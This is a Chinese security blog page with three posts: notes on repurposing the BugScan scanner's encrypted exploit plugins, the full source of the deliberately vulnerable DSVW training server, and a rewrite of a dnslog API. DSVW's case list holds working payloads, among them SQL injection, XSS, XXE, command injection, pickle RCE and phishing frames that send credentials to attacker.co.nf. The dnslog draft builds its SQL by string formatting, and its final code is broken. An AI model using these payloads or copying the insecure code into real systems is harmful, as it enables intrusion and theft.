        thread.start_new_thread(Mysql_insert_QueueInfo, ())
    try:
        signal.signal(signal.SIGTERM, signal.SIG_DFL)
        signal.signal(signal.SIGINT, signal.SIG_DFL)
        Loginx_Obj.set_task_status(tid, Range_3)
        Exploit_run_Obj = Exploit_run(tid, target, Plugins_list)
        if 'entry' in Plugins_list:
            if Plugins_list['entry'].startswith('http'):#  String.startswith('xxx')判断开头是否是xxx
                Exploit_run_Obj.task_push('www', str(Plugins_list['entry']))
            else:
                Exploit_run_Obj.task_push('www', 'http://%s%s' % (target, Plugins_list['entry']))
        if not Target_isOK(target):
            Exploit_run_Obj.task_push('dns', target) # task_push(self, service, arg, uuid=None, target=None, pr=-1):
        Exploit_run_Obj.task_push('www', 'http://%s/' % target)
        Exploit_run_Obj.run()
    except (KeyboardInterrupt, SystemExit):
        pass
    except Exception as o0oo0o0O00OO:
        Logging_Obj.exception('ProcessWorker:<%d %s>' % (tid, target))
    finally:
        Loginx_Obj.set_task_status(tid, Range_5)
        if Mysql_Obj:
            Mysql_table_insert('loglog', body='exit')
    addTargetModule(target)

在Exploit_run里面的函数中能看到判断插件是否加密的部分

for plugin_x in policy['plugins']:
    Plugin = policy['plugins'][plugin_x]
    OO0OoOO0o0o = 0
    if imp.get_magic() == Plugin[:4]:
        #判定为加密的文件
        oo = marshal.loads(Plugin[8:])
        OO0OoOO0o0o = struct.unpack('<l', Plugin[4:8])[0]
    else:
        oo = Plugin
    """"""
    def _load_module(self, chunk, name='<memory>'):
        II = imp.new_module(str(name))
        exec chunk in II.__dict__
        return II
    """"""
    #imp加载文件
    II = self._load_module(oo)
    o00oo0 = None
    if OO0OoOO0o0o > 1440345600:
        #获取解密的key
        o00oo0 = Plugin[-48:-16]
        I11ii1IIiIi = Plugin[-16:]
        if I11ii1IIiIi != md5.new(Plugin[:-16]).digest()[::-1]:
            #表示不匹配
            pass
    #涉及到对II的参数补充,针对加密的插件用获取的key进行解密,
    self._patch_module(II, o00oo0)
    然后获取节点的dns,各种其他的信息.进入到task_pusk函数中.
    主要是推送的服务和地址
    def task_push(self, service, arg, uuid=None, target=None, pr=-1):
        for OO0O0 in self._modules:
            获取插件id和插件文件内容
            i1OOO0000oO = self._modules[OO0O0].assign(service, arg)
    #接下去就是判断i1OOO0000oO也就是插件运行的结果是不是一个数据
    if not isinstance(i1OOO0000oO, tuple):
        continue

所以,如果自己需要构建全部的bugscan的插件扫描功能的话.感觉还是比较简单.获取全部的插件,需要更改的就是节点中的target,还有entry,删掉或者注释掉登陆验证的请求的地方,按照它本身的结果写入或者重构数据库.其他的就静静的等待结果就好了.反正都是全部fuzz一遍.

 Mysql_table_insert('loglog', body=self.format(record))

Mysql_table_insert('rpclog', method=self.__serviceName, params=repr(args), uid=self.__uhash, uuid=PC_uuid)

Mysql_table_insert('tasklog', uuid=uuid, plugin_id=Scan_ThreadLocal.__pid, service=service, arg=repr(arg),

Mysql_table_insert('assignlog', time=int(i11i1ii1I - iI1i111I1Ii), uuid=hash, plugin_id=OO0O0,service=service, prearg=repr(arg), arg=repr(oOoO00o), isret=1, push=O0O0Oo00, i=ai + 1)

Mysql_table_insert('auditlog', uuid=md5.md5(url).hexdigest(), plugin_id=OO0O0, type=1, arg=repr(url),time=int(Day_time_2 - Day_time_1))

Mysql_table_insert('debuglog', plugin_id=Scan_ThreadLocal.__pid, body=fmt % args)

更改了一下获取的方式,因为我发现部分插件无法入库。所以入库的时候全部采用了base64编码的形式入库

                    if iIIi:
                        o0O0O00('[***] fetch %d new plugins', len(iIIi))
                        i1iiIiI1Ii1i = i1.get_plugin_list(iIIi)

                        for hash in i1iiIiI1Ii1i:
                            i1iIi = i1iiIiI1Ii1i[hash]
                            oO00oo0o00o0o[hash] = (i1iIi[0], zlib.decompress(binascii.a2b_hex(i1iIi[1])))
                            #get
                            try:
                                dbcon = Mysqlclass()
                                sql = "insert `plugin` (`name`,`upid`,`content`) VALUES (%s, %s, %s)"
                                args = str(oO00oo0o00o0o[hash][0]),str(hash),base64.b64encode(str(oO00oo0o00o0o[hash][1]))
                                print str(oO00oo0o00o0o[hash][0])
                                dbcon.exec_sql(sql,args)
                            except Exception, e:
                                print str(oO00oo0o00o0o[hash][0]),str(e)
                                pass

然后按照它本身的步骤,从数据库里面获取插件出来调用.最后的形式就是.

def get_plugins():
    plugins = {}
    sql = "select name,content from `plugin`"
    results = dbconn.select_result(sql)
    for result in results:
        pocid = int(result['name'])
        plugins[pocid] =base64.decodestring(result['content'])
    return plugins

def main(target):
    if target == '':
        target = domain
    plugins = get_plugins()
    glock = None
    gdebug = "0"
    debugkey = ''
    policy = {
        u'subdomain': True, 
        u'scanport': True, 
        u'maxtask': 7000, 
        u'useragent': u'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 2.0.50727)', 
        u'anyone': True, 
        u'timeout': 24, 
        u'plugins': plugins,#{2051: '',1070: '', 1072: '', 1073: '', 1074: ''}
        u'target': target, #可以为域名和ip
        u'user_dict': u'', 
        u'pass_dict': u'', 
        u'speed': 6
    }
    tid = 1234
    service = 'www'
    ProcessWork(glock, gdebug, debugkey, tid, service, policy)

if __name__ == '__main__':
    import sys
    if len(sys.argv)==2:
        domain = sys.argv[1]
        main(domain)
    else:
        print ("%s http://fuck.0day5.com" % (sys.argv[0]))

小型靶场一枚

发布时间:December 24, 2016 // 分类:工作日志,代码学习,python // 2 Comments

最近测试一些东西,需要用到靶场,类似xvwa,dvws这些.意外发现一个py的靶场,竟然可以满足大部分需求。主要是轻量级啊

其实整个文件代码很少,不足100行[实际99]

#!/usr/bin/env python
import BaseHTTPServer, cgi, cStringIO, httplib, json, os, pickle, random, re, socket, SocketServer, sqlite3, string, sys, subprocess, time, traceback, urllib, xml.etree.ElementTree
try:
    import lxml.etree
except ImportError:
    print "[!] please install 'python-lxml' to (also) get access to XML vulnerabilities (e.g. '%s')\n" % ("apt-get install python-lxml" if not subprocess.mswindows else "https://pypi.python.org/pypi/lxml")

NAME, VERSION, GITHUB, AUTHOR, LICENSE = "Damn Small Vulnerable Web (DSVW) < 100 LoC (Lines of Code)", "0.1m", "https://github.com/stamparm/DSVW", "Miroslav Stampar (@stamparm)", "Public domain (FREE)"
LISTEN_ADDRESS, LISTEN_PORT = "127.0.0.1", 65412
HTML_PREFIX, HTML_POSTFIX = "<!DOCTYPE html>\n<html>\n<head>\n<style>a {font-weight: bold; text-decoration: none; visited: blue; color: blue;} ul {display: inline-block;} .disabled {text-decoration: line-through; color: gray} .disabled a {visited: gray; color: gray; pointer-events: none; cursor: default} table {border-collapse: collapse; margin: 12px; border: 2px solid black} th, td {border: 1px solid black; padding: 3px} span {font-size: larger; font-weight: bold}</style>\n<title>%s</title>\n</head>\n<body style='font: 12px monospace'>\n<script>function process(data) {alert(\"Surname(s) from JSON results: \" + Object.keys(data).map(function(k) {return data[k]}));}; var index=document.location.hash.indexOf('lang='); if (index != -1) document.write('<div style=\"position: absolute; top: 5px; right: 5px;\">Chosen language: <b>' + decodeURIComponent(document.location.hash.substring(index + 5)) + '</b></div>');</script>\n" % cgi.escape(NAME), "<div style=\"position: fixed; bottom: 5px; text-align: center; width: 100%%;\">Powered by <a href=\"%s\" style=\"font-weight: bold; text-decoration: none; visited: blue; color: blue\" target=\"_blank\">%s</a> (v<b>%s</b>)</div>\n</body>\n</html>" % (GITHUB, re.search(r"\(([^)]+)", NAME).group(1), VERSION)
USERS_XML = """<?xml version="1.0" encoding="utf-8"?><users><user id="0"><username>admin</username><name>admin</name><surname>admin</surname><password>7en8aiDoh!</password></user><user id="1"><username>dricci</username><name>dian</name><surname>ricci</surname><password>12345</password></user><user id="2"><username>amason</username><name>anthony</name><surname>mason</surname><password>gandalf</password></user><user id="3"><username>svargas</username><name>sandra</name><surname>vargas</surname><password>phest1945</password></user></users>"""
CASES = (("Blind SQL Injection (<i>boolean</i>)", "?id=2", "/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27\" onclick=\"alert('checking if the first character for admin\\'s password is digit \\'7\\' (true in case of same result(s) as for \\'vulnerable\\')')", "https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29#Boolean_Exploitation_Technique"), ("Blind SQL Injection (<i>time</i>)", "?id=2", "/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))\" onclick=\"alert('checking if the second character for admin\\'s password is letter \\'e\\' (true in case of delayed response)')", "https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29#Time_delay_Exploitation_technique"), ("UNION SQL Injection", "?id=2", "/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)", "https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29#Union_Exploitation_Technique"), ("Login Bypass", "/login?username=&amp;password=", "/login?username=admin&amp;password=%27%20OR%20%271%27%20LIKE%20%271", "https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OTG-INPVAL-005%29"), ("HTTP Parameter Pollution", "/login?username=&amp;password=", "/login?username=admin&amp;password=%27%2F*&amp;password=*%2FOR%2F*&amp;password=*%2F%271%27%2F*&amp;password=*%2FLIKE%2F*&amp;password=*%2F%271", "https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_%28OTG-INPVAL-004%29"), ("Cross Site Scripting (<i>reflected</i>)", "/?v=0.2", "/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_%28OTG-INPVAL-001%29"), ("Cross Site Scripting (<i>stored</i>)", "/?comment=\" onclick=\"document.location='/?comment='+prompt('please leave a comment'); return false", "/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_%28OTG-INPVAL-002%29"), ("Cross Site Scripting (<i>DOM</i>)", "/?#lang=en", "/?foobar#lang=en%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_%28OTG-CLIENT-001%29"), ("Cross Site Scripting (<i>JSONP</i>)", "/users.json?callback=process\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=process';document.getElementsByTagName('head')[0].appendChild(script);return false", "/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false", "http://www.metaltoad.com/blog/using-jsonp-safely"), ("XML External Entity (<i>local</i>)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E" if not subprocess.mswindows else "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2FC%3A%2FWindows%2Fwin.ini%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OTG-INPVAL-008%29"), ("XML External Entity (<i>remote</i>)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3Dh1rvVnvx%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OTG-INPVAL-008%29"), ("Server Side Request Forgery", "/?path=", "/?path=http%3A%2F%2F127.0.0.1%3A631" if not subprocess.mswindows else "/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini", "http://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/"), ("Blind XPath Injection (<i>boolean</i>)", "/?name=dian", "/?name=admin%27%20and%20substring(password%2Ftext()%2C3%2C1)%3D%27n\" onclick=\"alert('checking if the third character for admin\\'s password is letter \\'n\\' (true in case of found item)')", "https://www.owasp.org/index.php/XPATH_Injection"), ("Cross Site Request Forgery", "/?comment=", "/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E\" onclick=\"alert('please visit \\'vulnerable\\' page to see what this click has caused')", "https://www.owasp.org/index.php/Testing_for_CSRF_%28OTG-SESS-005%29"), ("Frame Injection (<i>phishing</i>)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fattacker.co.nf%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Frame Injection (<i>content spoofing</i>)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fattacker.co.nf%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Clickjacking", None, "/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fattacker.co.nf%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E", "https://www.owasp.org/index.php/Testing_for_Clickjacking_%28OTG-CLIENT-009%29"), ("Unvalidated Redirect", "/?redir=", "/?redir=http%3A%2F%2Fattacker.co.nf", "https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet"), ("Arbitrary Code Execution", "/?domain=www.google.com", "/?domain=www.google.com%3B%20ifconfig" if not subprocess.mswindows else "/?domain=www.google.com%26%20ipconfig", "https://en.wikipedia.org/wiki/Arbitrary_code_execution"), ("Full Path Disclosure", "/?path=", "/?path=foobar", "https://www.owasp.org/index.php/Full_Path_Disclosure"), ("Source Code Disclosure", "/?path=", "/?path=dsvw.py", "https://www.imperva.com/resources/glossary?term=source_code_disclosure"), ("Path Traversal", "/?path=", "/?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" if not subprocess.mswindows else "/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini", "https://www.owasp.org/index.php/Path_Traversal"), ("File Inclusion (<i>remote</i>)", "/?include=", "/?include=http%%3A%%2F%%2Fpastebin.com%%2Fraw.php%%3Fi%%3DN5ccE6iH&amp;cmd=%s" % ("ifconfig" if not subprocess.mswindows else "ipconfig"), "https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion"), ("HTTP Header Injection (<i>phishing</i>)", "/?charset=utf8", "/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.co.nf%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fattacker.co.nf%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E", "https://www.rapid7.com/db/vulnerabilities/http-generic-script-header-injection"), ("Component with Known Vulnerability (<i>pickle</i>)", "/?object=%s" % urllib.quote(pickle.dumps(dict((_.findtext("username"), (_.findtext("name"), _.findtext("surname"))) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))), "/?object=cos%%0Asystem%%0A(S%%27%s%%27%%0AtR.%%0A\" onclick=\"alert('checking if arbitrary code can be executed remotely (true in case of delayed response)')" % urllib.quote("ping -c 5 127.0.0.1" if not subprocess.mswindows else "ping -n 5 127.0.0.1"), "https://www.cs.uic.edu/~s/musings/pickle.html"), ("Denial of Service (<i>memory</i>)", "/?size=32", "/?size=9999999", "https://www.owasp.org/index.php/Denial_of_Service"))

def init():
    global connection
    BaseHTTPServer.HTTPServer.allow_reuse_address = True
    connection = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
    cursor = connection.cursor()
    cursor.execute("CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, name TEXT, surname TEXT, password TEXT)")
    cursor.executemany("INSERT INTO users(id, username, name, surname, password) VALUES(NULL, ?, ?, ?, ?)", ((_.findtext("username"), _.findtext("name"), _.findtext("surname"), _.findtext("password")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))
    cursor.execute("CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)")

class ReqHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
        code, content, params, cursor = httplib.OK, HTML_PREFIX, dict((match.group("parameter"), urllib.unquote(','.join(re.findall(r"(?:\A|[?&])%s=([^&]+)" % match.group("parameter"), query)))) for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)([^&]+)", query)), connection.cursor()
        try:
            if path == '/':
                if "id" in params:
                    cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"])
                    content += "<div><span>Result(s):</span></div><table><thead><th>id</th><th>username</th><th>name</th><th>surname</th></thead>%s</table>%s" % ("".join("<tr>%s</tr>" % "".join("<td>%s</td>" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX)
                elif "v" in params:
                    content += re.sub(r"(v<b>)[^<]+(</b>)", r"\g<1>%s\g<2>" % params["v"], HTML_POSTFIX)
                elif "object" in params:
                    content = str(pickle.loads(params["object"]))
                elif "path" in params:
                    content = (open(os.path.abspath(params["path"]), "rb") if not "://" in params["path"] else urllib.urlopen(params["path"])).read()
                elif "domain" in params:
                    content = subprocess.check_output("nslookup " + params["domain"], shell=True, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
                elif "xml" in params:
                    content = lxml.etree.tostring(lxml.etree.parse(cStringIO.StringIO(params["xml"]), lxml.etree.XMLParser(no_network=False)), pretty_print=True)
                elif "name" in params:
                    found = lxml.etree.parse(cStringIO.StringIO(USERS_XML)).xpath(".//user[name/text()='%s']" % params["name"])
                    content += "<b>Surname:</b> %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX)
                elif "size" in params:
                    start, _ = time.time(), "<br>".join("#" * int(params["size"]) for _ in range(int(params["size"])))
                    content += "<b>Time required</b> (to 'resize image' to %dx%d): %.6f seconds%s" % (int(params["size"]), int(params["size"]), time.time() - start, HTML_POSTFIX)
                elif "comment" in params or query == "comment=":
                    if "comment" in params:
                        cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime()))
                        content += "Thank you for leaving the comment. Please click here <a href=\"/?comment=\">here</a> to see all comments%s" % HTML_POSTFIX
                    else:
                        cursor.execute("SELECT id, comment, time FROM comments")
                        content += "<div><span>Comment(s):</span></div><table><thead><th>id</th><th>comment</th><th>time</th></thead>%s</table>%s" % ("".join("<tr>%s</tr>" % "".join("<td>%s</td>" % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX)
                elif "include" in params:
                    backup, sys.stdout, program, envs = sys.stdout, cStringIO.StringIO(), (open(params["include"], "rb") if not "://" in params["include"] else urllib.urlopen(params["include"])).read(), {"DOCUMENT_ROOT": os.getcwd(), "HTTP_USER_AGENT": self.headers.get("User-Agent"), "REMOTE_ADDR": self.client_address[0], "REMOTE_PORT": self.client_address[1], "PATH": path, "QUERY_STRING": query}
                    exec(program) in envs
                    content += sys.stdout.getvalue()
                    sys.stdout = backup
                elif "redir" in params:
                    content = content.replace("<head>", "<head><meta http-equiv=\"refresh\" content=\"0; url=%s\"/>" % params["redir"])
                if HTML_PREFIX in content and HTML_POSTFIX not in content:
                    content += "<div><span>Attacks:</span></div>\n<ul>%s\n</ul>\n" % ("".join("\n<li%s>%s - <a href=\"%s\">vulnerable</a>|<a href=\"%s\">exploit</a>|<a href=\"%s\" target=\"_blank\">info</a></li>" % (" class=\"disabled\" title=\"module 'python-lxml' not installed\"" if ("lxml.etree" not in sys.modules and any(_ in case[0].upper() for _ in ("XML", "XPATH"))) else "", case[0], case[1], case[2], case[3]) for case in CASES)).replace("<a href=\"None\">vulnerable</a>|", "<b>-</b>|")
            elif path == "/users.json":
                content = "%s%s%s" % ("" if not "callback" in params else "%s(" % params["callback"], json.dumps(dict((_.findtext("username"), _.findtext("surname")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))), "" if not "callback" in params else ")")
            elif path == "/login":
                cursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'")
                content += "Welcome <b>%s</b><meta http-equiv=\"Set-Cookie\" content=\"SESSIONID=%s; path=/\"><meta http-equiv=\"refresh\" content=\"1; url=/\"/>" % (re.sub(r"[^\w]", "", params.get("username", "")), "".join(random.sample(string.letters + string.digits, 20))) if cursor.fetchall() else "The username and/or password is incorrect<meta http-equiv=\"Set-Cookie\" content=\"SESSIONID=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT\">"
            else:
                code = httplib.NOT_FOUND
        except Exception, ex:
            content = ex.output if isinstance(ex, subprocess.CalledProcessError) else traceback.format_exc()
            code = httplib.INTERNAL_SERVER_ERROR
        finally:
            self.send_response(code)
            self.send_header("Connection", "close")
            self.send_header("X-XSS-Protection", "0")
            self.send_header("Content-Type", "%s%s" % ("text/html" if content.startswith("<!DOCTYPE html>") else "text/plain", "; charset=%s" % params.get("charset", "utf8")))
            self.end_headers()
            self.wfile.write("%s%s" % (content, HTML_POSTFIX if HTML_PREFIX in content and GITHUB not in content else ""))
            self.wfile.flush()
            self.wfile.close()

class ThreadingServer(SocketServer.ThreadingMixIn, BaseHTTPServer.HTTPServer):
    def server_bind(self):
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        BaseHTTPServer.HTTPServer.server_bind(self)

if __name__ == "__main__":
    init()
    print "%s #v%s\n by: %s\n\n[i] running HTTP server at '%s:%d'..." % (NAME, VERSION, AUTHOR, LISTEN_ADDRESS, LISTEN_PORT)
    try:
        ThreadingServer((LISTEN_ADDRESS, LISTEN_PORT), ReqHandler).serve_forever()
    except KeyboardInterrupt:
        pass
    except Exception, ex:
        print "[x] exception occurred ('%s')" % ex
    finally:
        os._exit(0)

项目地址:https://github.com/stamparm/DSVW

改造dnslog的api为我们需要的输出方式

发布时间:December 13, 2016 // 分类:开发笔记,linux,python,windows,生活琐事 // No Comments

以前有cloudeye,发现它的api友好的不得了,后来又尝试过一段时间的ceye.io就是ceye.io其实不稳定,后来把目光转向了dnslog不得不说dnslog的开源确实是方便,但是它的api确实是蛋疼的紧
比如我们有一个whoami的参数

通过api查询

http://webadmin.secevery.com/api/web/www/whoami/

发现是false,仔细对比了下它的api函数,居然是

def api(request, logtype, udomain, hashstr):
    apistatus = False
    host = "%s.%s." % (hashstr, udomain)
    if logtype == 'dns':
        res = DNSLog.objects.filter(host__contains=host)
        if len(res) > 0:
            apistatus = True
    elif logtype == 'web':
        res = WebLog.objects.filter(path__contains=host)
        if len(res) > 0:
            apistatus = True
    else:
        return HttpResponseRedirect('/')
    return render(request, 'api.html', {'apistatus': apistatus})


host = "%s.%s." % (hashstr, udomain) 这尼玛~
只能查询xxxx.fuck.dns5.org的类型了.对于fuck.dns5.org/?cmd=fuck的形式好像不能查询。这尼玛~本想重新改写的.发现工程量太大了,就拿dnslog来修改api函数就好了
 #重新改写api
#1.默认访问全部的日志信息
#2.可以访问/api/xxxx/dns|web/
#3.可以精确定位到/api/xxxx/(dns|web)/xxxx/
步骤
#先获取userid 
#xxx = (select userid from logview_user where udomain = udomain)
 
再根据dns|web的方式分别执行sql语句
if logtype == 'dns':
        #需要执行的是select log_time,host from logview_dnslog where userid = xxx and path like '%hashstr%'
elif logtype == 'web':
        #需要执行的是SELECT "remote_addr","http_user_agent","log_time","path" FROM "logview_weblog" WHERE "user_id"=xxx and path like '%hashstr%'
 
这里的hashstr其实是可以为空的.就拿默认的数据库来测试

SELECT "log_time","remote_addr","http_user_agent","path" FROM "logview_weblog" WHERE user_id=(select id from logview_user where udomain = 'test') and path like '3%'
log_time    remote_addr http_user_agent path
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/favicon.ico

保持hashstr为空

SELECT "log_time","remote_addr","http_user_agent","path" FROM "logview_weblog" WHERE user_id=(select id from logview_user where udomain = 'test') and path like '%%'

结果依然是

log_time    remote_addr http_user_agent path
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/favicon.ico

这样就保证了xxx的完整性
 
大概改写后的api函数为

def api(request, logtype, udomain, hashstr):
    result = ''
    #首先保证udomain不能为空
    if len(udomain)>0:
        if logtype == 'dns':
            sql = "select log_time,host from logview_dnslog where userid = (select userid from logview_user \"
                "where udomain = {udomain}) and path like '%{hash}%'".format(udomain=udomain,hash=hashstr)
        elif logtype == 'web':
            sql = "SELECT log_time,remote_addr,http_user_agent,path FROM logview_weblog WHERE user_id=(select \"
                "id from logview_user where udomain = {udomain}) and path like '%{hash}%'".format(udomain=udomain,hash=hashstr)
        logging.info(sql)
        #excute.sql
    return result



其实意淫而已。不熟悉django.还在泪奔中。真特么的狗日的chrome的未知bug。动方向键就奔溃。


大约完毕了,以后有bug再说

def api(request, logtype, udomain, hashstr):  
    import json                                         
    result = None
    re_result =                                                                              
    host = "%s.%s." % (hashstr, udomain)                                                               
    if logtype == 'web':                                                                               
        res = WebLog.objects.all().filter(path__contains=hashstr)                                                                                                                  
        if len(res) > 0:                                                                               
            for rr in res:
                result = dict(
                    time= str(rr.log_time),
                    ipaddr = rr.remote_addr,
                    ua = rr.http_user_agent,
                    path = rr.path
                )                                                                     
                re_result.append(result)

    elif logtype == 'dns':      
        res = DNSLog.objects.all().filter(host__contains=host)     
        if len(res) > 0:
            for rr in res:
                result = dict(
                    time = str(rr.log_time),
                    host = rr.host
                    )
                re_result.append(result)

    else:
        return HttpResponseRedirect('/')
    return render(request, 'api.html', {'apistatus': json.dumps(re_result)})
分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...